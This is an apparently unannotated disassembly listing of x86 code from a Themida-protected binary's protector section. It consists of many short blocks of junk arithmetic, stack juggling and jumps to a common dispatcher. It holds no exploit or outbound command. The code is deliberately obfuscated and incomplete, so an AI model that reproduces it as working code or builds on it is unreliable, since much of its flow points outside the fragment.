jmp loc_58AC98
; ---------------------------------------------------------------------------
loc_585D98: ; CODE XREF: Themida_:0058DF60j
and [edi+1Ch], esi
push dword ptr [esp]
push dword ptr [esp]
jmp loc_586B0B
; ---------------------------------------------------------------------------
loc_585DA6: ; CODE XREF: Themida_:0058CAECj
push eax
jmp loc_588F75
; ---------------------------------------------------------------------------
loc_585DAC: ; CODE XREF: Themida_:0058557Fj
push ebp
push edx
mov edx, 5FF12E15h
xor edx, 62153AC6h
push ecx
mov ecx, 3A642ED0h
neg ecx
shr ecx, 8
sub ecx, 0CAD47D9Bh
jmp loc_58462D
; ---------------------------------------------------------------------------
loc_585DCF: ; CODE XREF: Themida_:0058838Fj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585DD4: ; CODE XREF: Themida_:00589418j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585DE0: ; CODE XREF: Themida_:005819BAj
pop ecx
push 39h
mov [esp], esi
mov esi, 4
push eax
mov eax, 6A492EE8h
sub ecx, eax
pop eax
add ecx, esi
push edi
mov edi, 1B151049h
neg edi
push ecx
mov ecx, 7AA1C0CFh
jmp loc_582AB0
; ---------------------------------------------------------------------------
loc_585E0C: ; CODE XREF: Themida_:0058C64Aj
pop esp
jmp loc_58202A
; ---------------------------------------------------------------------------
loc_585E12: ; CODE XREF: Themida_:00589CD9j
and edi, 378A723Ah
sub edi, 3F9520E7h
xor edi, 54C25351h
xor esi, edi
pop edi
add edx, esi
jmp loc_588D24
; ---------------------------------------------------------------------------
loc_585E2E: ; CODE XREF: Themida_:0058BD9Ej
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov ebp, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xchg ebx, ebp
push ebx
not dword ptr [esp]
pop ebx
xchg ebx, ebp
jmp loc_5896F0
; ---------------------------------------------------------------------------
loc_585E6D: ; CODE XREF: Themida_:0058864Fj
add [esp+4], edx
push edi
push ecx
push esi
push 325145B2h
pop esi
jmp loc_589367
; ---------------------------------------------------------------------------
loc_585E7F: ; CODE XREF: Themida_:00582BF5j
mov edx, [esp]
jmp loc_58836A
; ---------------------------------------------------------------------------
loc_585E87: ; CODE XREF: Themida_:00588D3Dj
push edi
mov edi, 4
add ebp, edi
pop edi
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_589529
; ---------------------------------------------------------------------------
loc_585E9E: ; CODE XREF: Themida_:00587591j
add esp, 4
add eax, 4
xchg eax, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push dword ptr [esp]
jmp loc_58B344
; ---------------------------------------------------------------------------
loc_585EBA: ; CODE XREF: Themida_:0058AF07j
pop edi
jmp loc_58D570
; ---------------------------------------------------------------------------
loc_585EC0: ; CODE XREF: Themida_:0058CFEDj
mov esp, [esp]
mov ax, [esp]
sub esp, 4
jmp loc_58865B
; ---------------------------------------------------------------------------
loc_585ED2: ; CODE XREF: Themida_:00584EF8j
mov edi, [esp]
add esp, 4
jmp loc_587B03
; ---------------------------------------------------------------------------
loc_585EE0: ; CODE XREF: Themida_:00588CEAj
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_586055
; ---------------------------------------------------------------------------
loc_585EEC: ; CODE XREF: Themida_:0058896Aj
mov esi, 5223091h
or ebx, esi
pop esi
jmp loc_58BB2C
; ---------------------------------------------------------------------------
loc_585EF9: ; CODE XREF: Themida_:00587B85j
mov [esp], esi
jmp loc_583AFD
; ---------------------------------------------------------------------------
loc_585F01: ; CODE XREF: Themida_:00585622j
mov [esp], eax
jmp loc_58C5B4
; ---------------------------------------------------------------------------
loc_585F09: ; CODE XREF: Themida_:0058C121j
add dword ptr [esp], 615F1E75h
pop edi
sub edi, 615F1E75h
jmp loc_584EEB
; ---------------------------------------------------------------------------
loc_585F1C: ; CODE XREF: Themida_:00588EA2j
mov esi, 26E0104h
push eax
jmp loc_585C47
; ---------------------------------------------------------------------------
loc_585F27: ; CODE XREF: Themida_:00581ADFj
pop edi
jmp loc_5845B9
; ---------------------------------------------------------------------------
loc_585F2D: ; CODE XREF: Themida_:0058D300j
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_585054
; ---------------------------------------------------------------------------
loc_585F46: ; CODE XREF: Themida_:00587FC0j
pop edx
sub ecx, edx
mov edx, [esp]
add esp, 4
push ebx
push edi
mov edi, 0FC37AB3h
neg edi
or edi, 6A7F2757h
shr edi, 3
xor edi, 4923146Dh
inc edi
sub edi, 0DD7C8E8Bh
push edi
pop ebx
pop edi
add eax, ebx
mov ebx, [esp]
add esp, 4
sub eax, ecx
push edi
mov edi, 23FE79B1h
dec edi
inc edi
sub edi, 39CE142Eh
inc edi
add edi, 2A1E1012h
xor edi, 6CBE246Ah
sub eax, edi
pop edi
pop ecx
add ebx, 76645F2Bh
jmp loc_58A908
; ---------------------------------------------------------------------------
loc_585FA8: ; CODE XREF: Themida_:00581D3Fj
pop edx
jmp loc_5875DE
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585FBD: ; CODE XREF: Themida_:00585A78j
mov ecx, edi
pop edi
add edx, ecx
pop ecx
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_582D6E
; ---------------------------------------------------------------------------
loc_585FD1: ; CODE XREF: Themida_:00589CF7j
push ebx
mov ebx, 4D697F08h
mov esi, ebx
jmp loc_58C497
; ---------------------------------------------------------------------------
loc_585FDE: ; CODE XREF: Themida_:0058B54Ej
sub esp, 4
mov [esp], edx
jmp loc_581F7B
; ---------------------------------------------------------------------------
loc_585FE9: ; CODE XREF: Themida_:0058C5B7j
mov ah, bh
pop ebx
mov bh, ah
jmp loc_58C2B7
; ---------------------------------------------------------------------------
loc_585FF3: ; CODE XREF: Themida_:005867BEj
pop edx
xchg ecx, [esp]
pop esp
push 4FDEh
mov [esp], edx
mov edx, esi
jmp loc_5877C8
; ---------------------------------------------------------------------------
loc_586007: ; CODE XREF: Themida_:005893ABj
sub eax, 0D28E1898h
add ebp, eax
pop eax
add ebp, 6AC826A6h
pop esi
push edi
mov edi, 0
sub edi, 64AE4CBDh
sub edi, ebp
add edi, 64AE4CBDh
xchg edi, ebp
jmp loc_58621B
; ---------------------------------------------------------------------------
loc_586031: ; CODE XREF: Themida_:0058BE56j
inc esi
add esi, 0C3BCA9EAh
add eax, esi
mov esi, [esp]
jmp loc_58DE61
; ---------------------------------------------------------------------------
loc_586042: ; CODE XREF: Themida_:00583AB6j
dec ebx
jmp loc_585B9C
; ---------------------------------------------------------------------------
loc_586048: ; CODE XREF: Themida_:005838A8j
pop edi
jmp near ptr byte_58DDC0
; ---------------------------------------------------------------------------
loc_58604E: ; CODE XREF: Themida_:0058AF7Dj
add ecx, edi
jmp loc_5876C4
; ---------------------------------------------------------------------------
loc_586055: ; CODE XREF: Themida_:00585EE7j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58605A: ; CODE XREF: Themida_:0058D544j
mov cl, dh
pop edx
push edx
mov dl, cl
mov ah, dl
pop edx
pop ecx
pop ebx
mov bl, ah
pop eax
jmp loc_582C9B
; ---------------------------------------------------------------------------
loc_58606D: ; CODE XREF: Themida_:0058BA13j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_588183
; ---------------------------------------------------------------------------
loc_58607A: ; CODE XREF: Themida_:00587375j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
push 2A344FC3h
pop eax
or edx, eax
jmp loc_5883E4
; ---------------------------------------------------------------------------
loc_586099: ; CODE XREF: Themida_:0058C2DFj
add edx, ecx
pop ecx
push edi
mov edi, 1B3212F6h
not edi
and edi, 7A9230CDh
sub edi, 28B70DC2h
xor edx, edi
pop edi
jmp loc_58DB24
; ---------------------------------------------------------------------------
loc_5860B8: ; CODE XREF: Themida_:00587170j
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5860D9: ; CODE XREF: Themida_:0058C8E2j
push ecx
mov ch, 17h
add ch, 0FFh
not ch
dec ch
neg ch
shl ch, 8
sub ch, 0C7h
sub bl, ch
mov ecx, [esp]
jmp loc_5885CA
; ---------------------------------------------------------------------------
loc_5860F5: ; CODE XREF: Themida_:00587785j
mov ebp, eax
jmp loc_586175
; ---------------------------------------------------------------------------
loc_5860FC: ; CODE XREF: Themida_:0058D9E8j
and [esp], al
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4836h
mov [esp], ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58BCBA
; ---------------------------------------------------------------------------
loc_586126: ; CODE XREF: Themida_:0058A494j
push eax
push esi
push 7D7A6C97h
pop esi
xor esi, 5D5A4447h
mov eax, esi
pop esi
xor eax, 5D375415h
mov esi, eax
jmp loc_58D3B1
; ---------------------------------------------------------------------------
loc_586143: ; CODE XREF: Themida_:0058C920j
pop edi
pop ebx
push edx
mov edx, 27C84499h
jmp loc_5862B8
; ---------------------------------------------------------------------------
loc_586150: ; CODE XREF: Themida_:0058C962j
mov eax, 7796A3EAh
mov edi, eax
jmp loc_5862CB
; ---------------------------------------------------------------------------
loc_58615C: ; CODE XREF: Themida_:0058326Dj
add eax, 0E8F23F0h
jmp loc_588B76
; ---------------------------------------------------------------------------
loc_586166: ; CODE XREF: Themida_:0058CCDFj
xchg ecx, [esp]
pop esp
mov [esp], edx
mov dh, 62h
push ebx
jmp loc_582035
; ---------------------------------------------------------------------------
loc_586175: ; CODE XREF: Themida_:005860F7j
mov [edi+24h], ebp
jmp loc_584CEB
; ---------------------------------------------------------------------------
loc_58617D: ; CODE XREF: Themida_:00589F9Aj
rol word ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586187: ; CODE XREF: Themida_:005853CEj
add esp, 4
sub esp, 4
jmp loc_58599E
; ---------------------------------------------------------------------------
loc_586198: ; CODE XREF: Themida_:0058B932j
mov edi, 53AA66AFh
jmp loc_589AB2
; ---------------------------------------------------------------------------
loc_5861A2: ; CODE XREF: Themida_:00589CCDj
sub esp, 4
mov [esp], esi
mov esi, esp
push ecx
push edi
mov edi, 25B455A2h
jmp loc_58432B
; ---------------------------------------------------------------------------
loc_5861B9: ; CODE XREF: Themida_:0058370Fj
push ebp
mov ebp, 60720612h
add edi, ebp
mov ebp, [esp]
add esp, 4
add edi, eax
sub edi, 60720612h
jmp loc_58665A
; ---------------------------------------------------------------------------
loc_5861D7: ; CODE XREF: Themida_:00589C3Fj
shl ebx, 8
shr ebx, 8
dec ebx
dec ebx
or ebx, 474D74BBh
jmp loc_58CA88
; ---------------------------------------------------------------------------
loc_5861EA: ; CODE XREF: Themida_:0058C48Bj
xor esi, [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5861FA: ; CODE XREF: Themida_:00584A31j
pop eax
push edi
sub esp, 4
jmp loc_584C28
; ---------------------------------------------------------------------------
loc_586207: ; CODE XREF: Themida_:00588656j
add ch, bl
sub ch, 0DBh
pop ebx
jmp loc_589B7B
; ---------------------------------------------------------------------------
loc_586212: ; CODE XREF: Themida_:00588517j
xchg ecx, [esp]
pop esp
jmp loc_58A0A7
; ---------------------------------------------------------------------------
loc_58621B: ; CODE XREF: Themida_:0058602Cj
pop edi
jmp loc_5891FF
; ---------------------------------------------------------------------------
loc_586221: ; CODE XREF: Themida_:005888B4j
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 1
and eax, edx
mov edx, [esp]
add esp, 4
or edx, eax
shl edx, 1
push edx
jmp loc_582747
; ---------------------------------------------------------------------------
loc_586267: ; CODE XREF: Themida_:005883DFj
push ax
jmp loc_586314
; ---------------------------------------------------------------------------
loc_58626E: ; CODE XREF: Themida_:00583134j
mov ebp, [esp]
add esp, 4
add eax, 4
jmp loc_5896FF
; ---------------------------------------------------------------------------
loc_58627F: ; CODE XREF: Themida_:0058DDBBj
mov eax, 6DFC4ABAh
add eax, 0FFFFFFFFh
jmp loc_586DB0
; ---------------------------------------------------------------------------
loc_58628C: ; CODE XREF: Themida_:0058630Fj
mov eax, [esp]
add esp, 4
add eax, 4
push 3507h
jmp loc_583233
; ---------------------------------------------------------------------------
loc_5862A1: ; CODE XREF: Themida_:0058252Cj
mov eax, 6DDC0FD3h
xor eax, 2CBA0036h
shr eax, 8
add eax, 1BB0016Bh
jmp loc_58C0F5
; ---------------------------------------------------------------------------
loc_5862B8: ; CODE XREF: Themida_:0058614Bj
push edx
not dword ptr [esp]
inc dword ptr [esp]
jmp loc_58BC83
; ---------------------------------------------------------------------------
loc_5862C4: ; CODE XREF: Themida_:00588C3Aj
mov ebx, esp
jmp loc_588E5B
; ---------------------------------------------------------------------------
loc_5862CB: ; CODE XREF: Themida_:00586157j
pop eax
sub edi, ebx
pop ebx
xor [esp+4], edi
mov edi, [esp]
add esp, 4
jmp loc_58AE32
; ---------------------------------------------------------------------------
loc_5862E1: ; CODE XREF: Themida_:0058670Dj
mov edi, 21870630h
xor edi, 65267E5Dh
xor edi, 53EA2498h
sub edi, 23A9629Ah
jmp loc_5863F5
; ---------------------------------------------------------------------------
loc_5862FD: ; CODE XREF: Themida_:00588163j
mov ecx, [esp]
add esp, 4
jmp loc_5847B4
; ---------------------------------------------------------------------------
loc_58630B: ; CODE XREF: Themida_:00587E60j
mov [esp], eax
push esp
jmp loc_58628C
; ---------------------------------------------------------------------------
loc_586314: ; CODE XREF: Themida_:00586269j
mov al, 98h
jmp loc_58A882
; ---------------------------------------------------------------------------
loc_58631B: ; CODE XREF: Themida_:0058907Cj
mov esp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_584E3A
; ---------------------------------------------------------------------------
loc_586332: ; CODE XREF: Themida_:0058C583j
add esp, 4
jmp loc_58A17D
; ---------------------------------------------------------------------------
loc_58633A: ; CODE XREF: Themida_:0058A6DBj
shr ebx, 8
add ebx, 508CEF9Ah
and edx, ebx
jmp loc_583FED
; ---------------------------------------------------------------------------
loc_58634A: ; CODE XREF: Themida_:0058B6C0j
sub al, 4Bh
add al, bl
push ecx
push edx
mov dl, 4
push 2A58h
mov [esp], ebx
mov bl, 3Ch
sub bl, 0B1h
shr bl, 2
jmp loc_58D220
; ---------------------------------------------------------------------------
loc_586367: ; CODE XREF: Themida_:00582A61j
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586374: ; CODE XREF: Themida_:00587DC5j
mov edx, 33CA3485h
and edx, 59D14F96h
jmp loc_58893F
; ---------------------------------------------------------------------------
loc_586384: ; CODE XREF: Themida_:0058D680j
pop edi
add edx, eax
push ecx
mov ecx, 6BEB52E2h
push eax
mov eax, 2B3C63A7h
jmp loc_587AD6
; ---------------------------------------------------------------------------
loc_586398: ; CODE XREF: Themida_:00588376j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 2
sub esi, 40171739h
add esi, edi
add esi, 40171739h
jmp loc_588B00
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5872E3
; ---------------------------------------------------------------------------
loc_5863CC: ; CODE XREF: Themida_:0058DED6j
mov [esp], esp
push edx
push ebp
mov ebp, 34DC6649h
mov edx, 34DC664Dh
jmp loc_587C02
; ---------------------------------------------------------------------------
loc_5863E0: ; CODE XREF: Themida_:0058DA51j
mov ebp, esp
add ebp, 4
jmp loc_588125
; ---------------------------------------------------------------------------
loc_5863ED: ; CODE XREF: Themida_:00589ABFj
xchg ebx, [esp]
jmp loc_589599
; ---------------------------------------------------------------------------
loc_5863F5: ; CODE XREF: Themida_:005862F8j
add edi, 62A730AEh
xor ecx, edi
pop edi
and ebp, ecx
pop ecx
dec ebp
jmp loc_589531
; ---------------------------------------------------------------------------
loc_586407: ; CODE XREF: Themida_:0058AA08j
mov bh, 0DFh
sub al, bh
mov ebx, [esp]
add esp, 4
sub al, 69h
jmp loc_5854C7
; ---------------------------------------------------------------------------
loc_586418: ; CODE XREF: Themida_:005854A0j
pop edx
sub esi, ebx
pop ebx
add edx, esi
jmp loc_58364D
; ---------------------------------------------------------------------------
loc_586423: ; CODE XREF: Themida_:0058333Ej
add al, 5Fh
not al
add al, 25h
jmp loc_58D8F7
; ---------------------------------------------------------------------------
loc_58642E: ; CODE XREF: Themida_:00584BC6j
push bx
mov bl, dl
jmp loc_582804
; ---------------------------------------------------------------------------
loc_586437: ; CODE XREF: Themida_:00589F8Cj
mov edx, 2
add ecx, 6FCE0749h
jmp loc_586FF6
; ---------------------------------------------------------------------------
lodsb
push 61E4h
mov [esp], edx
mov dh, 67h
neg dh
push eax
push ebx
mov bh, 6Ch
not bh
or bh, 0F1h
xor bh, 31h
mov ah, bh
pop ebx
push bx
jmp loc_587603
; ---------------------------------------------------------------------------
loc_58646A: ; CODE XREF: Themida_:0058AF92j
push ecx
mov ecx, 130651D0h
xor edx, ecx
jmp loc_586F3A
; ---------------------------------------------------------------------------
loc_586477: ; CODE XREF: Themida_:00586DE0j
pop ebx
xor dh, ch
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_582158
; ---------------------------------------------------------------------------
loc_586489: ; CODE XREF: Themida_:005888D4j
sub edx, ecx
pop ecx
push ecx
jmp loc_58D466
; ---------------------------------------------------------------------------
loc_586492: ; CODE XREF: Themida_:00587D02j
mov edx, esp
push ebp
jmp loc_582C3A
; ---------------------------------------------------------------------------
loc_58649A: ; CODE XREF: Themida_:0058487Dj
sub esi, 60306A57h
add esi, ebp
jmp loc_584634
; ---------------------------------------------------------------------------
loc_5864A7: ; CODE XREF: Themida_:0058DD8Bj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5864AC: ; CODE XREF: Themida_:0058D670j
push edi
push ebp
jmp loc_582E89
; ---------------------------------------------------------------------------
loc_5864B3: ; CODE XREF: Themida_:00587EA6j
mov edi, 4
add [esp+4], edi
pop edi
pop esi
jmp loc_5826A4
; ---------------------------------------------------------------------------
loc_5864C3: ; CODE XREF: Themida_:0058BFF2j
pop ebx
jmp loc_585129
; ---------------------------------------------------------------------------
loc_5864C9: ; CODE XREF: Themida_:005837DFj
mov [esp], esi
push dword ptr [esp+4]
jmp loc_58406C
; ---------------------------------------------------------------------------
loc_5864D5: ; CODE XREF: Themida_:0058C2EAj
mov ah, bl
mov cl, ah
pop eax
mov ebx, [esp]
add esp, 4
push eax
mov ah, cl
mov bh, ah
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_58889B
; ---------------------------------------------------------------------------
loc_586500: ; CODE XREF: Themida_:00589702j
mov esp, [esp]
div ecx
push edx
mov edx, esp
push esi
jmp loc_582718
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_58BA9F
; ---------------------------------------------------------------------------
loc_586516: ; CODE XREF: Themida_:00585D8Cj
sub al, 0D3h
sub al, 0A3h
jmp loc_583129
; ---------------------------------------------------------------------------
lodsd
add esi, 64932335h
add esi, eax
sub esp, 4
mov [esp], edi
jmp loc_587D01
; ---------------------------------------------------------------------------
loc_586536: ; CODE XREF: Themida_:00589546j
add esi, 22E06188h
pop edx
push esi
jmp loc_589ACE
; ---------------------------------------------------------------------------
loc_586543: ; CODE XREF: Themida_:0058C433j
sub ecx, ebx
sub ecx, 4B80726h
add ecx, 576D5C98h
pop ebx
jmp loc_58BB50
; ---------------------------------------------------------------------------
loc_586557: ; CODE XREF: Themida_:0058BCB5j
sub edx, 69585D81h
add edx, eax
add edx, 69585D81h
pop eax
add edx, 4
xchg edx, [esp]
pop esp
push 2DBDh
mov [esp], edx
push ecx
mov ecx, 50D71EFDh
mov edx, 1B6B034Fh
add edx, ecx
jmp loc_589DD0
; ---------------------------------------------------------------------------
loc_586587: ; CODE XREF: Themida_:0058DCCFj
pop esp
bts [esp], ax
pushf
jmp loc_58B865
; ---------------------------------------------------------------------------
loc_586593: ; CODE XREF: Themida_:005820EBj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586598: ; CODE XREF: Themida_:00583503j
mov esi, ebx
pop ebx
sub ebx, esi
mov esi, [esp]
add esp, 4
pop small word ptr [eax]
jmp loc_5894E3
; ---------------------------------------------------------------------------
loc_5865AB: ; CODE XREF: Themida_:0058ADFFj
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ebx
jmp loc_58AB4B
; ---------------------------------------------------------------------------
loc_5865C8: ; CODE XREF: Themida_:0058D3F1j
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
jmp loc_589E6D
; ---------------------------------------------------------------------------
loc_5865D8: ; CODE XREF: Themida_:00582C1Aj
xchg ebx, [esp]
pop esp
jmp loc_58C352
; ---------------------------------------------------------------------------
loc_5865E1: ; CODE XREF: Themida_:0058673Bj
sub ecx, 5AF5740Eh
sub ecx, 3FD22A1h
sub ecx, 6927B0Fh
add ecx, edx
add ecx, 6927B0Fh
add ecx, 3FD22A1h
add ecx, 5AF5740Eh
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
loc_586614: ; CODE XREF: Themida_:loc_58669Dj
sub esp, 4
jmp loc_58577C
; ---------------------------------------------------------------------------
loc_58661F: ; CODE XREF: Themida_:00582F9Ej
mov esp, [esp]
jmp loc_58AFBC
; ---------------------------------------------------------------------------
loc_586627: ; CODE XREF: Themida_:00582036j
mov ch, 0Eh
jmp loc_584F59
; ---------------------------------------------------------------------------
loc_58662E: ; CODE XREF: Themida_:005894DEj
sub esp, 4
jmp loc_58A7E1
; ---------------------------------------------------------------------------
loc_586639: ; CODE XREF: Themida_:00581DABj
sub esp, 4
mov [esp], ebp
mov ebp, 2A18055Eh
sub edx, ebp
pop ebp
add edx, 14D1294Dh
add ebx, edx
mov edx, [esp]
jmp loc_58CD48
; ---------------------------------------------------------------------------
loc_58665A: ; CODE XREF: Themida_:005861D2j
mov eax, [esp]
jmp loc_58D101
; ---------------------------------------------------------------------------
loc_586662: ; CODE XREF: Themida_:0058AAB8j
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
pop esp
bts [esp], ax
pushf
jmp loc_5878AA
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_58BA61
; ---------------------------------------------------------------------------
loc_586680: ; CODE XREF: Themida_:0058CC32j
pop ebp
jmp loc_58DC4A
; ---------------------------------------------------------------------------
loc_586686: ; CODE XREF: Themida_:0058343Aj
mov ecx, 692E300Ch
xor ecx, edx
mov edx, [esp]
add esp, 4
xor ecx, edx
jmp loc_589285
; ---------------------------------------------------------------------------
loc_58669D: ; CODE XREF: Themida_:0058B333j
jmp loc_586614
; ---------------------------------------------------------------------------
loc_5866A2: ; CODE XREF: Themida_:0058B69Cj
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
jmp loc_58DAA1
; ---------------------------------------------------------------------------
loc_5866B2: ; CODE XREF: Themida_:00582913j
push ecx
push ebx
jmp loc_582008
; ---------------------------------------------------------------------------
loc_5866B9: ; CODE XREF: Themida_:00586CA8j
add eax, ebx
mov ebx, [esp]
add esp, 4
push esi
mov esi, 1D6D1FE3h
add [esp+4], esi
pop esi
add dword ptr [esp], 484C0404h
jmp loc_587352
; ---------------------------------------------------------------------------
loc_5866DB: ; CODE XREF: Themida_:0058A86Dj
pop ecx
add dword ptr [esp+8], 4E791D99h
sub [esp+8], edi
sub dword ptr [esp+8], 4E791D99h
pop edi
jmp loc_5855F9
; ---------------------------------------------------------------------------
loc_5866F6: ; CODE XREF: Themida_:0058DEA0j
xor ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebp, 90C4A2AFh
mov ebx, ebp
jmp loc_586F43
; ---------------------------------------------------------------------------
loc_58670B: ; CODE XREF: Themida_:00588E76j
dec ecx
push edi
jmp loc_5862E1
; ---------------------------------------------------------------------------
loc_586712: ; CODE XREF: Themida_:0058DF83j
push 228Ch
mov [esp], esp
jmp loc_585069
; ---------------------------------------------------------------------------
loc_58671F: ; CODE XREF: Themida_:00581F42j
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 35E860FFh
push ecx
mov ecx, 35E860FBh
xor edx, ecx
pop ecx
jmp loc_5865E1
; ---------------------------------------------------------------------------
loc_586740: ; CODE XREF: Themida_:00589E09j
push 84230FFh
pop edi
jmp loc_58CB77
; ---------------------------------------------------------------------------
loc_58674B: ; CODE XREF: Themida_:0058869Cj
add esp, 4
add esi, 4
push ebx
mov ebx, 2
sub esi, 22CF7A09h
jmp loc_5876DE
; ---------------------------------------------------------------------------
loc_586768: ; CODE XREF: Themida_:00587759j
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_58BB76
; ---------------------------------------------------------------------------
loc_586779: ; CODE XREF: Themida_:0058A557j
pop eax
sub ebp, edx
pop edx
xor ebp, 35FE410Bh
shr ebp, 3
xor ebp, 586308D5h
sub edi, ebp
pop ebp
xor [esp+4], edi
jmp loc_58B5E2
; ---------------------------------------------------------------------------
loc_586798: ; CODE XREF: Themida_:00582AC3j
mov esp, [esp]
push 6217h
jmp loc_58D38F
; ---------------------------------------------------------------------------
loc_5867A5: ; CODE XREF: Themida_:005878A5j
pop ecx
push ecx
mov ecx, esp
add ecx, 4
push 1E6Fh
mov [esp], edx
mov edx, 4
add ecx, edx
jmp loc_585FF3
; ---------------------------------------------------------------------------
loc_5867C3: ; CODE XREF: Themida_:0058733Aj
push 0AE1h
mov [esp], ebx
push edi
mov edi, 76D60365h
mov ebx, edi
pop edi
shr ebx, 4
sub esp, 4
mov [esp], edx
mov edx, 7656036h
xor ebx, edx
pop edx
push ebx
pop esi
jmp loc_581A0B
; ---------------------------------------------------------------------------
loc_5867EC: ; CODE XREF: Themida_:00585C34j
sub eax, 9E42BBCh
add eax, 24BC3AA8h
sub eax, ebp
sub eax, 24BC3AA8h
add eax, 9E42BBCh
jmp loc_587F98
; ---------------------------------------------------------------------------
loc_586807: ; CODE XREF: Themida_:005848A4j
xor dword ptr [esp], 6677532Bh
mov edx, [esp]
add esp, 4
push esi
jmp loc_5833ED
; ---------------------------------------------------------------------------
loc_58681D: ; CODE XREF: Themida_:005876B3j
push edx
mov dh, 0A2h
jmp loc_588977
; ---------------------------------------------------------------------------
loc_586825: ; CODE XREF: Themida_:0058DDD8j
mov bh, cl
pop ecx
pop edx
inc bh
or bh, 67h
push edx
jmp loc_58BC89
; ---------------------------------------------------------------------------
loc_586834: ; CODE XREF: Themida_:0058840Ej
sub ebx, edi
pop edi
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
push ebp
jmp loc_58A252
; ---------------------------------------------------------------------------
loc_58684E: ; CODE XREF: Themida_:0058543Aj
pop cx
xor dh, ah
pop eax
xor al, dh
jmp loc_58705A
; ---------------------------------------------------------------------------
loc_58685A: ; CODE XREF: Themida_:005869F1j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58685F: ; CODE XREF: Themida_:00586BB7j
push esp
pop esi
add esi, 4
jmp loc_58BF3F
; ---------------------------------------------------------------------------
loc_58686C: ; CODE XREF: Themida_:00583281j
mov dl, 3Eh
sub bl, 49h
sub bl, dl
push ax
mov ah, 49h
add bl, ah
pop ax
pop edx
sub bl, 95h
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
jmp loc_58AEE6
; ---------------------------------------------------------------------------
loc_58688D: ; CODE XREF: Themida_:00582491j
pop esi
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov fs:[edx], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5868AB: ; CODE XREF: Themida_:0058B3E5j
mov [esp], ebp
push dword ptr [esp]
pop eax
jmp loc_584B6C
; ---------------------------------------------------------------------------
loc_5868B7: ; CODE XREF: Themida_:00589E01j
add esi, edi
pop edi
jmp loc_589463
; ---------------------------------------------------------------------------
loc_5868BF: ; CODE XREF: Themida_:0058878Aj
sub ecx, 75AF3FB0h
add ebx, ecx
pop ecx
push edi
jmp loc_58D142
; ---------------------------------------------------------------------------
loc_5868CE: ; CODE XREF: Themida_:00582975j
sub dl, bh
pop ebx
add bl, dl
jmp loc_58C8D9
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_58AABD
; ---------------------------------------------------------------------------
loc_5868E0: ; CODE XREF: Themida_:00587C9Aj
add eax, 120190h
add edx, eax
mov eax, [esp]
add esp, 4
push ebx
push 4
pop ebx
sub edx, 2F187D12h
jmp loc_586971
; ---------------------------------------------------------------------------
loc_5868FF: ; CODE XREF: Themida_:005820AFj
sub esp, 2
mov [esp], bx
mov bl, 0C6h
sub al, 46h
sub al, bl
add al, 46h
mov bx, [esp]
add esp, 2
add al, 0F8h
add al, bl
sub al, 0F8h
jmp loc_58A1A5
; ---------------------------------------------------------------------------
